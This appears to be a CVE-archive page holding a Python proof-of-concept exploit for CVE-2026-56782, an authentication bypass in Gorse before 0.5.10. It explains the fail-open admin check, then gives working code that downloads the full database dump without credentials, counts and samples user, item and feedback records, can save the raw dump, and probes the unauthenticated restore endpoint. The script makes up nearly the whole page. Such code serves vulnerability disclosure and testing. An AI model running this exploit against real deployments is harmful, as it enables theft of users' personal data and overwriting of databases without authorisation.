5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
CVE-2026-56782 - Gorse < 0.5.10 - Unauthenticated database dump / restore (auth bypass)

The master HTTP server gates /api/dump and /api/restore behind checkAdmin():

    func (m *Master) checkAdmin(request *http.Request) bool {
        if m.Config.Master.AdminAPIKey == "" {
            return true                 // fail-open: no key => everyone is admin
        }
        if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
            return true
        }
        return false
    }

`admin_api_key` is empty in the shipped config, so an unauthenticated attacker can:
  * GET  /api/dump     -> stream the entire dataset (users, items, feedback / PII)
  * POST /api/restore  -> overwrite the entire dataset

This PoC reads the dump stream and counts the exfiltrated records, then probes
/api/restore to show it is reachable without authentication.

Dump stream format (master/rest.go):
  int64 LE section markers: UserStream=-1, ItemStream=-2, FeedbackStream=-3, EOF=0
  each record: int64 LE length prefix (>0) followed by that many protobuf bytes.

Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts
For authorized security testing only.
"""
import argparse
import struct
import sys
import urllib.request


def _read_exact(resp, n):
    buf = b""
    while len(buf) < n:
        chunk = resp.read(n - len(buf))
        if not chunk:
            break
        buf += chunk
    return buf


def _pb_first_string(record):
    """Extract field #1 (UserId/ItemId, wire type 2) from a protobuf record."""
    if not record or record[0] != 0x0A:  # tag: field 1, wire type 2
        return None
    i, length = 1, 0
    shift = 0
    while i < len(record):
        b = record[i]
        length |= (b & 0x7F) << shift
        i += 1
        if not (b & 0x80):
            break
        shift += 7
    return record[i:i + length].decode("utf-8", "replace")


def dump(base, out_path):
    url = base.rstrip("/") + "/api/dump"
    print(f"[*] GET {url}  (no X-API-Key header)")
    req = urllib.request.Request(url)  # deliberately unauthenticated
    resp = urllib.request.urlopen(req, timeout=120)
    print(f"[*] HTTP {resp.status}  content-type: {resp.headers.get('Content-Type')}")
    if resp.status != 200:
        print("[!] Not 200 - target likely patched or admin_api_key is set.")
        return

    sections = {-1: "users", -2: "items", -3: "feedback"}
    counts = {"users": 0, "items": 0, "feedback": 0}
    samples = {"users": [], "items": []}
    cur = None
    total = 0
    fh = open(out_path, "wb") if out_path else None
    try:
        while True:
            hdr = _read_exact(resp, 8)
            if len(hdr) < 8:
                break
            (val,) = struct.unpack("<q", hdr)
            if fh:
                fh.write(hdr)
            if val == 0:           # EOF marker
                break
            if val < 0:            # section marker
                cur = sections.get(val)
                continue
            record = _read_exact(resp, val)   # val > 0 => record length
            if fh:
                fh.write(record)
            total += len(record)
            if cur:
                counts[cur] += 1
                if cur in samples and len(samples[cur]) < 5:
                    s = _pb_first_string(record)
                    if s:
                        samples[cur].append(s)
    finally:
        if fh:
            fh.close()

    print("\n[+] UNAUTHENTICATED DATA EXFILTRATION CONFIRMED")
    print(f"    users    : {counts['users']}")
    print(f"    items    : {counts['items']}")
    print(f"    feedback : {counts['feedback']}")
    print(f"    payload  : {total} protobuf bytes")
    if samples["users"]:
        print(f"    sample user ids : {', '.join(samples['users'])}")
    if samples["items"]:
        print(f"    sample item ids : {', '.join(samples['items'])}")
    if out_path:
        print(f"    raw dump saved  : {out_path}")


def restore_probe(base):
    url = base.rstrip("/") + "/api/restore"
    # Minimal valid stream: just an EOF marker (int64 0) -> a no-op restore.
    body = struct.pack("<q", 0)
    req = urllib.request.Request(url, data=body, method="POST")
    print(f"\n[*] POST {url}  (no X-API-Key header, EOF-only body)")
    try:
        resp = urllib.request.urlopen(req, timeout=30)
        code = resp.status
    except urllib.error.HTTPError as e:
        code = e.code
    if code == 401:
        print(f"[!] HTTP {code} - restore is authenticated (patched / key set).")
    else:
        print(f"[+] HTTP {code} (not 401) - checkAdmin bypassed: /api/restore is writable unauthenticated.")


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-56782 Gorse unauth dump/restore PoC")
    ap.add_argument("target", help="Gorse master base URL, e.g. http://127.0.0.1:8088")
    ap.add_argument("-o", "--out", default=None, help="Save the raw dump stream to this file")
    ap.add_argument("--no-restore", action="store_true", help="Skip the /api/restore probe")
    args = ap.parse_args()
    dump(args.target, args.out)
    if not args.no_restore:
        restore_probe(args.target)
    return 0


if __name__ == "__main__":
    sys.exit(main())